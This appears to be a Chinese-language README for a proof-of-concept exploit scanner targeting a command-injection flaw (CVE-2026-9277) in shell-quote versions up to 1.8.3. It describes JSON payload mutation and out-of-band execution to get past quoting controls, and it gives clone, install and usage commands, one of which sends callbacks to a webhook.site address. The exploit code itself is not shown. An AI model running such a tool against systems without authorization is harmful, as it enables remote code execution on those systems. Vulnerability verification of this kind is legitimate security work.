CVE-2026-9277 - Shell-Quote 命令注入漏洞利用

一个专门用于验证和演示 CVE-2026-9277 的概念验证（PoC）漏洞利用脚本——该漏洞是 shell-quote 库旧版本（<= 1.8.3）中存在的一个结构性命令注入漏洞。

该扫描器对输入 JSON 载荷执行深度结构操作，通过递归遍历暴露远程代码执行（RCE）向量，并利用动态网络基线计时引擎防止误报。

主要特性

• 递归 JSON 遍历： 自动检测并变异多层级嵌套 JSON 结构或类 GraphQL 配置中隐藏的目标数组。
• 组合变异矩阵： 测试高级数组操作场景，包括特定索引插入、绝对列表覆盖以及分散数组对。
• 自动化 OOB 架构： 通过将 {"op": "..."} 组件与参数分离来处理高级带外（Out-of-Band）执行布局，从而成功绕过字符串隔离控制。
• 零噪音日志记录： 静默执行引擎，可过滤掉损坏/不可利用的 500 内部服务器错误响应，仅输出经过验证的证据。

安装与设置

请确保已安装 Python 3.10+ 及所需软件包：

git clone https://github.com/DylanZahedi/CVE-2026-9277.git
cd CVE-2026-9277
pip install requests urllib3

执行示例

示例 1：带输出泄露的本地扫描

python CVE-2026-9277.py -u "https://example.com/command" -b '{"message_tokens": ["Hello", "from", "normal user"]}'

示例 2：使用嵌套字典结构进行带外（OOB）测试

python CVE-2026-9277.py -u "https://example.com/command" -b '{"user": {"commands": ["a", "b"]}}' -w "https://webhook.site/your-uuid-here"